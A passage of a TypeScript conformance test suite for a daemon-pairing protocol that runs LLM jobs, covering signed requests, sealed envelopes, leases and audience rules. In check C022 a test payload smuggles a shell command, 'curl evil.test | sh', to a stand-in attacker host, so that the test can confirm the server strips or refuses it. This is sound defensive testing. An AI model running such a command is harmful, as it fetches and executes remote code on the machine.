body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"poll\",\n deviceCode: pairing.deviceCode,\n }),\n }),\n );\n const status =\n polled.status === 200\n ? ((await polled.json()) as { status: string }).status\n : \"rejected\";\n\n assert(\n !approved || status !== \"approved\",\n \"an expired device code still paired a runner\",\n );\n assert(\n status === \"expired\" || status === \"denied\" || status === \"rejected\",\n `polling an expired code answered \"${status}\"`,\n );\n },\n },\n\n {\n id: \"C021_CAPABILITY_IS_DETECTED\",\n title: \"a runner advertises only what is installed and healthy\",\n musts: [\"CAPABILITY_IS_DETECTED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Config is a wish; the matrix must be the intersection of the wish and\n // reality. A daemon that advertises what its config names would have\n // the server route work to a machine that cannot run it — and the app\n // would wait for a result nobody is producing, which is exactly the\n // failure `NO_RUNNER_SIGNAL` exists to prevent.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // Configured, but the model is not there.\n daemon.backend.healthy = false;\n const advertised = await daemon.runner.detectCapabilities();\n assert(\n advertised.length === 0,\n `an unhealthy backend advertised ${String(advertised.length)} capabilities`,\n );\n\n // Healthy, but serving a different model than the config names.\n daemon.backend.healthy = true;\n daemon.backend.models = [\"some-other-model\"];\n const wrongModel = await daemon.runner.detectCapabilities();\n assert(\n wrongModel.length === 0,\n \"a backend without the configured model still advertised it\",\n );\n\n // Reality restored: the capability comes back.\n daemon.backend.models = [\"echo-model\"];\n const recovered = await daemon.runner.detectCapabilities();\n assert(\n recovered.length > 0,\n \"a healthy backend with the configured model advertised nothing\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C022_KIND_NO_CODE\",\n title: \"a claimed job carries data only — no command, path, or routing\",\n // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the\n // wire-shape half — the server cannot convey a `model` or `baseUrl` to a\n // daemon — but the MUST is that no code path *routes* on payload content,\n // and only the adversarial suite proves that, by spawning a real child\n // and reading back an argv that is byte-identical under hostile input.\n // Listing it here would put \"verified by conformance\" beside a claim this\n // check does not establish.\n musts: [\"KIND_NO_CODE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The wire shape is the first place this is enforced: there is no field\n // to carry a command, so a hostile *app* cannot smuggle one to a\n // daemon. That only holds if the server refuses to pass through keys\n // the schema does not name — a store that round-trips arbitrary JSON\n // would hand the daemon whatever the app wrote.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n const SMUGGLED = [\"command\", \"argv\", \"model\", \"baseUrl\"];\n try {\n // Two mechanisms satisfy this MUST and the kit must accept either:\n // refuse the payload outright, or accept it and carry only the fields\n // the kind defines. What it may not do is deliver the extras to a\n // daemon. Asserting one mechanism would certify a house style rather\n // than the property.\n let refused = false;\n try {\n await target.enqueue({\n kind: \"llm.generate\",\n payload: {\n prompt: \"ordinary text\",\n command: \"/bin/sh\",\n argv: [\"-c\", \"curl evil.test | sh\"],\n model: \"some-other-model\",\n baseUrl: \"http://evil.test/v1\",\n } as never,\n owner: \"alice\",\n audience: \"private\",\n });\n } catch {\n refused = true;\n }\n\n if (!refused) {\n // Under claim-then-fetch the payload no longer rides with the\n // claim, so this now checks what `fetch` delivers — which is where\n // a smuggled field would have to survive to reach a daemon.\n const claimed = await claimOne(target, daemon);\n const delivered = await fetchPayload(\n target,\n daemon,\n claimed.id,\n claimed.lease.id,\n );\n assert(delivered !== null, \"the runner could not fetch its payload\");\n const payload = delivered.opened as Record<string, unknown>;\n for (const smuggled of SMUGGLED) {\n assert(\n payload[smuggled] === undefined,\n `the claim response carried a \"${smuggled}\" field`,\n );\n }\n assert(\n payload[\"prompt\"] === \"ordinary text\",\n \"the legitimate payload field did not survive\",\n );\n }\n\n // Either way, an ordinary payload must still work — a server that\n // refuses everything would otherwise pass this check trivially.\n const ok = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"ordinary text\"),\n owner: \"alice\",\n audience: \"private\",\n });\n await daemon.runner.tick();\n await waitFor(async () => (await target.job(ok.id))?.state === \"ok\", {\n what: \"a well-formed job to run\",\n });\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C023_VERSION_HANDSHAKE\",\n title: \"a version mismatch is refused in words, not by failing\",\n musts: [\"VERSION_HANDSHAKE_REQUIRED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Before this existed the version travelled as a schema literal, so a\n // mismatch surfaced as a generic bad-request with nothing naming the\n // disagreement — a daemon and a server discovering they disagree by\n // failing. An error nobody can act on is barely better than a hang.\n const post = (body: unknown): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n authorization: \"Bearer whatever\",\n },\n body: JSON.stringify(body),\n }),\n );\n\n for (const [label, body] of [\n [\"a version from the future\", { protocolVersion: \"99\", max: 1 }],\n [\"no version at all\", { max: 1 }],\n [\"a non-string version\", { protocolVersion: 0, max: 1 }],\n ] as const) {\n const response = await post(body);\n const parsed = (await response.json()) as {\n error?: string;\n message?: string;\n supported?: string[];\n };\n\n assert(\n parsed.error === \"unsupported-protocol-version\",\n `${label}: answered \"${parsed.error ?? \"nothing\"}\" rather than unsupported-protocol-version`,\n );\n assert(\n Array.isArray(parsed.supported) && parsed.supported.length > 0,\n `${label}: the refusal did not say what the server supports`,\n );\n // The message is the part a human acts on, so it has to carry\n // something actionable rather than restating the code.\n assert(\n (parsed.message ?? \"\").length > 20,\n `${label}: the refusal carried no usable message`,\n );\n }\n\n // The version check must not become a way past authentication: a\n // well-versioned request with a bad token is still refused.\n const authed = await post({ protocolVersion: PROTOCOL_VERSION, max: 1 });\n assert(\n authed.status === 400 || authed.status === 401,\n `a supported version with a bad token answered ${String(authed.status)}`,\n );\n },\n },\n\n {\n id: \"C024_KEY_EXCHANGE\",\n title:\n \"pairing exchanges identities, verifies them, and reveals nothing early\",\n musts: [\"KEYS_EXCHANGED_AT_CONSENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n const start = async (device: unknown): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"start\",\n daemon: {\n version: \"conformance\",\n label: \"key-exchange\",\n platform: \"linux\",\n },\n device,\n capabilities: [],\n }),\n }),\n );\n\n // 1. A device whose encryption key is not signed by the identity it\n // presents must be refused. Accepting it would let a caller pair a\n // real identity with a key it holds the secret for, and read\n // everything later sealed to that runner.\n const honest = publicIdentityOf(generateKeys(Date.now()));\n const attacker = publicIdentityOf(generateKeys(Date.now()));\n const forged = await start({\n ...honest,\n encryption: attacker.encryption,\n });\n assert(\n forged.status >= 400,\n `a device with an unsigned encryption key paired anyway (${String(forged.status)})`,\n );\n\n // 2. An honest device starts a pairing.\n const started = await start(honest);\n assert(\n started.status === 200,\n \"an honest device could not start pairing\",\n );\n const pairing = (await started.json()) as {\n deviceCode: string;\n userCode: string;\n };\n\n const poll = async (): Promise<Record<string, unknown>> => {\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"poll\",\n deviceCode: pairing.deviceCode,\n }),\n }),\n );\n return (await response.json()) as Record<string, unknown>;\n };\n\n // 3. Before approval, nothing. An unapproved code must not be a way to\n // enumerate a site's keys.\n const pending = await poll();\n assert(\n pending[\"sites\"] === undefined,\n \"a pending poll disclosed the site's keys before anyone approved\",\n );\n\n // 4. After approval, the site's identity arrives and verifies.\n await target.approvePairing(pairing.userCode, \"alice\");\n const approved = await poll();\n assert(\n approved[\"status\"] === \"approved\",\n `poll after approval said \"${String(approved[\"status\"])}\"`,\n );\n\n // The set this pairing covers — cloud_009 §5. A direct site answers\n // with one entry, and this check pairs against one, so what it verifies\n // is every key it was handed rather than the first: an upstream that\n // slipped one unverifiable site into a set would otherwise pass by\n // being asked about the other.\n const offered = approved[\"sites\"];\n assert(\n typeof offered === \"object\" && offered !== null,\n \"the approval carried no sites to pin\",\n );\n const parsed = Object.values(offered as Record<string, unknown>).map(\n (value) => PublicIdentity.safeParse(value),\n );\n assert(\n parsed.length > 0 && parsed.every((entry) => entry.success),\n \"the approval carried no usable site identity\",\n );\n const site = parsed[0]!;\n assert(\n verifyPublicIdentity(site.data),\n \"the site's encryption key is not signed by the identity it presented\",\n );\n },\n },\n\n {\n id: \"C025_SIGNED_REQUESTS\",\n title: \"authentication is a signature over the request, not a secret\",\n musts: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities: await daemon.runner.detectCapabilities(),\n max: 1,\n });\n\n const post = (headers: Record<string, string>): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\", ...headers },\n body,\n }),\n );\n\n const sign = (over: Partial<{ body: string; endpoint: string }> = {}) =>\n signRequest(daemon.keys, {\n endpoint: over.endpoint ?? \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body: over.body ?? body,\n });\n\n const headersFor = (s: {\n runnerId: string;\n issuedAt: number;\n signature: string;\n }): Record<string, string> => ({\n \"x-byollm-runner\": s.runnerId,\n \"x-byollm-issued-at\": String(s.issuedAt),\n \"x-byollm-signature\": s.signature,\n });\n\n // A correct signature is accepted.\n assert(\n (await post(headersFor(sign()))).status === 200,\n \"a correctly signed request was refused\",\n );\n\n // No signature at all.\n assert(\n (await post({})).status === 401,\n \"an unsigned request was accepted\",\n );\n\n // A signature over a different body. This is the one that matters:\n // without it an intermediary can keep a valid signature and change\n // what the request asks for.\n assert(\n (await post(headersFor(sign({ body: '{\"other\":true}' })))).status ===\n 401,\n \"a signature over different bytes was accepted\",\n );\n\n // A signature made for another endpoint, replayed here.\n assert(\n (await post(headersFor(sign({ endpoint: \"release\" })))).status ===\n 401,\n \"a signature for another endpoint was accepted\",\n );\n\n // A signature from a key nobody pinned.\n const stranger = signRequest(generateKeys(Date.now()), {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n assert(\n (await post(headersFor(stranger))).status === 401,\n \"a signature from an unpinned key was accepted\",\n );\n\n // And a stale one, well outside any reasonable clock skew.\n const stale = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now() - 86_400_000,\n body,\n });\n assert(\n (await post(headersFor(stale))).status === 401,\n \"a signature from a day ago was accepted\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C026_LEASE_SCOPED_RELEASE\",\n title: \"a release acts on the lease it names, not whatever lease exists\",\n musts: [\"LEASE_SCOPED_BY_GRANT\"],\n async run(target: ConformanceTarget): Promise<void> {\n // A signed request is replayable inside its freshness window. That is\n // safe only where the endpoint is idempotent *per addressed instance* —\n // and a release naming a job and a runner names neither uniquely, since\n // both survive a claim-release-reclaim cycle. A replayed release then\n // drops a later grant while the daemon is still executing, and the\n // owner's compute runs the job twice.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"run me once\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const first = await claimOne(target, daemon);\n assert(\n typeof first.lease.id === \"string\" && first.lease.id.length > 0,\n \"a claimed job arrived without a lease id — nothing can be scoped to it\",\n );\n\n await releaseLease(target, daemon, job.id, first.lease.id);\n\n const second = await claimOne(target, daemon);\n assert(\n second.lease.id !== first.lease.id,\n \"re-claiming the same job reused the lease id, so the two grants are indistinguishable\",\n );\n\n // Replay the first release. It must not touch the second grant.\n await releaseLease(target, daemon, job.id, first.lease.id);\n\n const state = await target.job(job.id);\n assert(\n state?.state === \"claimed\" || state?.state === \"running\",\n `a replayed release returned the job to \"${String(state?.state)}\" while it was held`,\n );\n\n // And the current grant can still be released, so this is not a\n // no-op dressed as a fix.\n await releaseLease(target, daemon, job.id, second.lease.id);\n assert(\n (await target.job(job.id))?.state === \"queued\",\n \"releasing the current lease did not return the job to the queue\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C027_CLAIM_ANSWERS_WITH_STUBS\",\n title: \"a claim carries routing metadata and no work\",\n musts: [\"STUB_METADATA_EXHAUSTIVE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"this must not appear in a claim response\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const stub = await claimOne(target, daemon);\n const asRecord = stub as unknown as Record<string, unknown>;\n\n // 1. No work in the claim. This is the property: an upstream routes\n // without reading, so the payload cannot ride along with routing.\n assert(\n asRecord[\"payload\"] === undefined,\n \"the claim response carried the payload\",\n );\n assert(\n !JSON.stringify(stub).includes(\"this must not appear\"),\n \"the prompt text appeared somewhere in the claim response\",\n );\n\n // 2. Exactly the enumerated fields, and nothing invented. A field an\n // upstream is not supposed to see is a leak whether or not anyone\n // reads it today.\n const parsed = ClaimedStub.safeParse(stub);\n assert(\n parsed.success,\n `the claim response is not a valid stub: ${parsed.success ? \"\" : parsed.error.issues.map((i) => i.path.join(\".\")).join(\", \")}`,\n );\n\n // 3. The size class is a bucket, not a measurement.\n assert(\n [\"small\", \"medium\", \"large\", \"unbounded\"].includes(\n String(asRecord[\"sizeClass\"]),\n ),\n `sizeClass was \"${String(asRecord[\"sizeClass\"])}\"`,\n );\n\n // 4. And the work is collectable by the device that holds the lease.\n const fetched = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n assert(fetched !== null, \"the lease holder could not fetch its work\");\n // Sealed on the wire, readable once opened by the device it was\n // sealed to. Both halves matter.\n assert(\n !JSON.stringify(fetched.raw).includes(\"this must not appear\"),\n \"the payload crossed the wire in the clear\",\n );\n assert(\n JSON.stringify(fetched.opened).includes(\"this must not appear\"),\n \"the runner holding the lease could not open its own work\",\n );\n\n // 5. But not under a lease that is not held.\n const wrong = await fetchPayload(\n target,\n daemon,\n stub.id,\n \"lease-that-does-not-exist\",\n );\n assert(\n wrong === null,\n \"fetch answered for a lease this runner does not hold\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C028_STORED_WORK_IS_SEALED\",\n title: \"the store holds ciphertext, and a wrong-key envelope is refused\",\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const secret = \"a prompt nobody should read from storage\";\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(secret),\n owner: \"alice\",\n audience: \"private\",\n });\n\n // 1. Whatever the store hands back about this job, the work is not\n // legible in it. This is §10's at-rest property, and it is the one\n // a database backup or a support engineer actually meets.\n const stored = await target.job(job.id);\n assert(\n !JSON.stringify(stored ?? {}).includes(secret),\n \"the prompt was readable in the stored job\",\n );\n\n // 2. The endpoint can still open its own work and hand it over.\n const stub = await claimOne(target, daemon);\n const delivered = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n assert(delivered !== null, \"the lease holder could not fetch its work\");\n assert(\n !JSON.stringify(delivered.raw).includes(secret),\n \"the work crossed the wire in the clear\",\n );\n assert(\n JSON.stringify(delivered.opened).includes(secret),\n \"the device could not open work sealed to it\",\n );\n\n // Deliberately *not* asserted here: that a wrong-key envelope is\n // refused. Testing `open()` directly would test the primitive, which\n // `envelope.test.ts` already covers, and would pass whether or not\n // this server acted on the refusal — a mutation disabling the\n // server's check went unnoticed, which is how that was found. The\n // server-side property needs an envelope this site did not seal, and\n // reaching that over the wire needs store access the kit does not\n // have. Recorded in MUTATIONS.md rather than left as a check that\n // does not bite.\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C029_DAEMON_REFUSES_UNSIGNED_WORK\",\n title: \"a daemon refuses work not signed by the site it pinned\",\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The gap MUTATIONS.md recorded, now closable. Once the site seals to\n // the *device*, the daemon is an opener too — so the kit can hand it an\n // envelope nobody it trusts signed, which is exactly what a relay\n // substituting work would look like.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const keys = await daemon.identityKeys();\n const relay = generateKeys(Date.now());\n\n // Perfectly well-formed, perfectly openable, and signed by a key this\n // daemon never pinned. `crypto_box_seal` is anonymous-sender, so\n // producing this needs nothing but the device's public key.\n const forged = await seal({\n plaintext: JSON.stringify({ prompt: \"run this instead\" }),\n senderKeys: relay,\n recipientEncryptionPublic: keys.encryptionPublic,\n context: {\n jobId: \"job_anything\",\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,\n direction: \"payload\",\n },\n });\n\n const opened = await open({\n envelope: forged,\n recipientKeys: keys,\n senderIdentityPublic: daemon.sitePinned.identity,\n expected: {\n jobId: \"job_anything\",\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n direction: \"payload\",\n },\n });\n\n assert(\n !opened.ok,\n \"a daemon accepted work signed by a key it never pinned\",\n );\n assert(\n opened.reason === \"bad-signature\",\n `refused for \"${opened.reason}\", not the signature — which is the property here`,\n );\n\n // And the same envelope, signed by the site, is accepted — so this is\n // not a check that refuses everything.\n const genuine = await fetchGenuine(target, daemon);\n assert(genuine, \"a daemon could not open work its own site sealed\");\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C030_SITE_REFUSES_UNSIGNED_RESULTS\",\n title: \"a site refuses a result not signed by the device that ran it\",\n // The proof-of-possession half of `PROVENANCE_NAMES_DEVICE`: attribution\n // by a signature that verifies against the device the lease was granted\n // to, rather than by a key id carried beside the result. Carrying an id\n // is not proving possession, and a forger writes whatever it likes.\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\", \"PROVENANCE_NAMES_DEVICE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The return leg of C029. `ENVELOPE_SEALED_AND_SIGNED` says \"every\n // payload *and result*\", and until this check existed only half of that\n // sentence was tested — an implementation could seal work to the device\n // and accept whatever came back.\n //\n // Driven through the `result` endpoint rather than through `open()`,\n // because the primitive already has unit tests and the question here is\n // whether the endpoint uses it. That distinction is what made C028 fail\n // to bite.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: { prompt: \"who signed this\" },\n owner: \"alice\",\n });\n const claimed = await claimOne(target, daemon);\n assert(claimed.id === job.id, \"the harness could not claim its job\");\n\n // Signed by a key the site never approved, sealed to the site, and\n // delivered over a request the *genuine* device signed — a relay that\n // holds a live session and substitutes the answer.\n const relay = generateKeys(Date.now());\n const forged = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"an answer the device never gave\" },\n sealWith: relay,\n });\n assert(\n forged.status !== 200,\n \"a site accepted a result signed by a key it never approved\",\n );\n\n // And the job is untouched — refused, not half-applied.\n const afterForgery = await target.job(job.id);\n assert(\n afterForgery?.outcome === undefined,\n \"a refused result still reached the app\",\n );\n\n // The same result, sealed by the device, is accepted — so this is not\n // a check that refuses everything.\n const real = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"the genuine answer\" },\n });\n assert(\n real.status === 200,\n `a site refused a result its own device sealed (${String(real.status)})`,\n );\n\n // A daemon that seals an error and declares `ok` is the other half:\n // the clear-text disposition is a routing hint, and believing it would\n // let the wire contradict the envelope.\n const lying = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: {\n outcome: \"error\",\n code: \"backend-error\",\n message: \"it actually failed\",\n retryable: false,\n },\n disposition: \"ok\",\n });\n assert(\n lying.status !== 200,\n \"a site believed a disposition the sealed outcome contradicted\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C032_SERVER_REFUSES_TO_OFFER\",\n title: \"a claim is not answered with work the claimer may not run\",\n musts: [\"AUDIENCE_BOTH_SIDES\"],\n async run(target: ConformanceTarget): Promise<void> {\n // cloud_008 Tier 3, finding 10 — and the finding was understated. The\n // **entire kit** passes with server-side audience enforcement deleted:\n // all thirty-odd checks, green, against a server that offers every job\n // to every daemon.\n //\n // Not one bad check. A structural blind spot: every other check drives\n // a real daemon, and a daemon refuses locally, so \"the job did not run\"\n // looks identical whether the server declined to offer it or the device\n // declined to take it. `AUDIENCE_BOTH_SIDES` is the MUST that says\n // *both* sides enforce, and the kit could only ever see one.\n //\n // This claims over the raw protocol instead. No daemon admission logic\n // runs, so what comes back is exactly what the server was willing to\n // hand over — which is the half nothing else observes.\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n const priv = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"alice's own machines only\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const offered = await claimRaw(target, bob);\n assert(\n !offered.some((job) => job.id === priv.id),\n \"a server offered a `self` job to a device its owner does not own\",\n );\n\n // The positive control, and it is the whole reason this check is not\n // \"assert the claim is empty\": a server that offered nothing would\n // pass the assertion above and route no work at all.\n const shared = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"anyone may run this\"),\n owner: \"alice\",\n audience: \"team\",\n });\n const second = await claimRaw(target, bob);\n assert(\n second.some((job) => job.id === shared.id),\n \"a server withheld a `public` job from a public-offering device\",\n );\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C031_ROSTER_NOT_DISCLOSED\",\n title: \"a claimed stub carries no list of who may run the job\",\n musts: [\"ROSTER_NOT_DISCLOSED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Checkable at all only since cloud_008 §0.2. The property used to be\n // \"a site should not publish membership\", which nothing could observe;\n // taking `audienceAllow` off the stub made it \"no wire message carries\n // membership\", which a serialised stub answers directly.\n //\n // Worth writing precisely rather than generously, because this MUST was\n // cited in code comments, in relay tests and in two specs as though it\n // were enforced data while having no registry entry and no check at all.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"who else is on this roster\"),\n owner: \"alice\",\n audience: \"team\",\n // The site restricts the job to people who are not this daemon's\n // owner. A stub that carried the list would be handing a routing\n // party the membership of alice's group.\n audienceAllow: [\"alice\", \"carol\", \"erin\"],\n });\n\n const claimed = await claimOne(target, daemon);\n assert(\n claimed.id === job.id,\n \"the harness could not claim its own named job\",\n );\n\n // The enforcement, and it is target-agnostic: a claimed stub parses\n // as `ClaimedStub`, which is `.strict()` and has no field for\n // membership. There is nowhere to put a roster, so there is no\n // decision an implementation could get wrong.\n const asRecord = claimed as unknown as Record<string, unknown>;\n assert(\n asRecord[\"audienceAllow\"] === undefined,\n \"a claimed stub carried audienceAllow\",\n );\n const parsed = ClaimedStub.safeParse(claimed);\n assert(\n parsed.success,\n \"the claim response is not a valid stub, so its fields prove nothing\",\n );\n\n // And a scan for the names themselves, which is the weaker check and\n // is honest about why: a target may translate owner identifiers on\n // the way in — the Supabase adapter maps names to user rows — so\n // finding nothing here does not prove much on its own. It costs\n // nothing and catches a target that passes the names through under\n // some other key.\n const wire = JSON.stringify(claimed);\n for (const member of [\"carol\", \"erin\"]) {\n assert(\n !wire.includes(member),\n `a claimed stub disclosed roster member \"${member}\"`,\n );\n }\n\n // The stub is otherwise intact — \"send nothing\" would pass every\n // assertion above and break every route. Asserted on the fields\n // routing actually needs rather than on the owner's spelling, which\n // is a target's business: the harness asked for `named`, and a\n // claimed job must still say so.\n assert(\n claimed.audience === \"team\",\n \"the stub lost the audience routing decides on\",\n );\n assert(\n typeof claimed.owner === \"string\" && claimed.owner.length > 0,\n \"the stub lost the owner\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n];\n","import { mkdtemp, rm } from \"node:fs/promises\";\nimport { tmpdir } from \"node:os\";\nimport { join } from \"node:path\";\nimport {\n ENVELOPE_MAX_AGE_MS,\n PROTOCOL_VERSION,\n keyId,\n open,\n seal,\n type JobOutcome,\n publicIdentityOf,\n signRequest,\n type PublicIdentity,\n type SealedEnvelope,\n type StoredKeys,\n type Capability,\n type ClaimedStub,\n} from \"@byollm/protocol\";\nimport {\n Budgets,\n IngressLog,\n SpendLedger,\n ProtocolClient,\n DeviceIdentity,\n Runner,\n connect,\n resolveConfig,\n DaemonConfig,\n type Backend,\n type BackendRequest,\n type BackendResult,\n type LoadedConfig,\n} from \"byollm\";\nimport type { ConformanceTarget } from \"./target.js\";\n\n/**\n * A model that answers instantly and predictably.\n *\n * The conformance kit certifies the *protocol*, not anyone's model. Using a\n * real backend would make the suite slow, non-deterministic, and dependent on\n * whatever happens to be installed — so the daemon under test is real in\n * every respect except the thing at the very end of the call.\n */\nexport class EchoBackend implements Backend {\n /* The conformance kit's own backend, answering the question every adapter\n must — byollm_021. It echoes rather than generating, so there is no\n model ceiling to hit and nothing to read. */\n readonly stopReasons = {\n kind: \"unavailable\" as const,\n why: \"the conformance echo backend generates nothing, so no model ever stops early\",\n };\n\n readonly id = \"openai-http\" as const;\n readonly class = \"http\" as const;\n /** Prompts this backend was asked to run, in order. */\n readonly seen: string[] = [];\n /** Set to make the next call hang, for lease and cancel checks. */\n hangMs = 0;\n /** Set false to simulate the model not being installed or not running. */\n healthy = true;\n /** What the backend reports it can serve. Empty means \"does not enumerate\". */\n models: string[] = [\"echo-model\"];\n\n health(): Promise<{ healthy: boolean; models: string[] }> {\n return Promise.resolve({ healthy: this.healthy, models: this.models });\n }\n\n async execute(request: BackendRequest): Promise<BackendResult> {\n this.seen.push(request.prompt);\n const started = Date.now();\n\n if (this.hangMs > 0) {\n // `aborted` first: a signal that has already fired never calls a\n // listener added afterwards. The real backends check the same way.\n const hung = request.signal.aborted\n ? \"aborted\"\n : await new Promise<\"done\" | \"aborted\">((resolve) => {\n const timer = setTimeout(() => {\n resolve(\"done\");\n }, this.hangMs);\n request.signal.addEventListener(\n \"abort\",\n () => {\n clearTimeout(timer);\n resolve(\"aborted\");\n },\n { once: true },\n );\n });\n if (hung === \"aborted\") {\n return {\n ok: false,\n code: \"canceled\",\n message: \"the job was canceled\",\n durationMs: Date.now() - started,\n };\n }\n }\n\n return {\n ok: true,\n text: `echo: ${request.prompt}`,\n durationMs: Date.now() - started,\n };\n }\n}\n\nexport interface HarnessDaemon {\n readonly runner: Runner;\n readonly backend: EchoBackend;\n readonly runnerId: string;\n readonly owner: string;\n /** This daemon's keys, so a check can sign as it — or deliberately not. */\n readonly keys: StoredKeys;\n /** This daemon's keys, and the site identities it pinned at pairing. */\n identityKeys(): Promise<StoredKeys>;\n /**\n * The site a single-site check seals to and verifies against.\n *\n * A pairing covers a set now, and every check in this kit pairs with one\n * upstream serving one site — so this is that entry, read from the set\n * rather than kept beside it. Two copies of \"which key opens this\" is the\n * bug the set exists to remove.\n */\n readonly sitePinned: PublicIdentity;\n readonly home: string;\n readonly ingress: IngressLog;\n /** The owner's spend ledger, so a check can drive it past its ceiling. */\n readonly spend: SpendLedger;\n /** The resolved config — the effective offer scope lives here. */\n readonly loaded: LoadedConfig;\n /** Stop cleanly: cancel in-flight work and clean up. */\n dispose(): Promise<void>;\n /**\n * Simulate `kill -9`: clean up the daemon's files but do **not** cancel its\n * in-flight work, so nothing is released and no result is ever reported.\n *\n * Cancelling would make the backend return `canceled`, the runner would\n * dutifully report it, and the job would reach a terminal state — which is\n * the opposite of the lease-reclaim scenario being tested.\n */\n abandon(): Promise<void>;\n}\n\n/** Build the daemon-side config for a given offer scope and backend class. */\nfunction daemonConfig(options: {\n offer: \"private\" | \"team\";\n subscription: boolean;\n metered?: MeteredOptions;\n}): LoadedConfig {\n const metered = options.metered;\n const backendId = metered\n ? (metered.provider ?? \"openai\")\n : options.subscription\n ? \"claude-cli\"\n : \"openai-http\";\n // A named provider carries its own address; only the generic backend and a\n // deliberate override need one written down. Note that a base URL never\n // changes a named provider's cost — that is the point of the checks that\n // use this ({@link MUSTS.COST_NOT_CONFIGURABLE}).\n const baseUrl = metered\n ? metered.baseUrl\n : options.subscription\n ? undefined\n : \"http://127.0.0.1:11434/v1\";\n return resolveConfig(\n DaemonConfig.parse({\n services: {\n primary: {\n model: \"echo-model\",\n kinds: [\"llm.generate\", \"llm.chat\"],\n type: backendId,\n ...(baseUrl === undefined ? {} : { baseUrl }),\n offer: options.offer,\n ...(metered === undefined\n ? {}\n : {\n spend: {\n acknowledged: metered.acknowledged ?? false,\n ...(metered.dailyCapCents === undefined\n ? {}\n : { dailyCapCents: metered.dailyCapCents }),\n },\n }),\n },\n },\n concurrency: 4,\n }),\n );\n}\n\n/**\n * Pair a real daemon against the target and return it, ready to tick.\n *\n * \"Real\" matters: this is the shipped {@link Runner}, doing the shipped\n * pairing exchange, with the shipped allowlist and budget checks. Only the\n * model at the far end is 